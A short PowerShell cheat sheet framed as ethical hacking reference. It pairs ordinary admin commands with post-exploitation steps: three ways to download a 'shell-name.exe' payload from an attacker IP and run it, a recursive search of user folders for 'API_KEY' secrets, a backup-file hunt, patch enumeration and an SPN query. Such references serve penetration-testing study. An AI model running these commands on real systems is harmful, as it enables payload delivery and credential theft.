Powershell Essentials for Ethical Hacking

PowerShell is a command-line shell and scripting language developed by Microsoft for automating tasks and managing systems. It uses cmdlets to perform specific functions and supports object-oriented output, allowing for efficient system administration. It is cross-platform (Windows, Linux, macOS), integrates with .NET, and is widely used for automating repetitive tasks and managing local and remote systems. PowerShell can also be used in ethical hacking:

PowerShell Cheat Sheet

Download a file

powershell -c "wget -Uri http://10.2.121.73:80/shell-name.exe -OutFile shell-name.exe"

OR

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.121.73:80/shell-name.exe','shell-name.exe')"

OR

powershell -c "Invoke-WebRequest -Uri http://10.2.121.73:80/shell-name.exe -OutFile shell-name.exe"

Show Windows system information

systeminfo | Select-String "^OS Name","^OS Version"

Start and run programs

powershell -c "Start-Process 'shell-name.exe'"

Show hidden files in directory

Get-ChildItem . -Force

OR

gci -force .

Get listening ports locally

Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' }

Find files

Get-ChildItem -Path "C:\" -Filter backup* -Recurse -ErrorAction SilentlyContinue -Force

OR

Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | Select-String "API_KEY"

Show installed patches / hotfixes

Get-HotFix

Show IP info

Get-NetIPAddress

Show Service Principle Name (SPN)

SetSPN -T corp -Q */*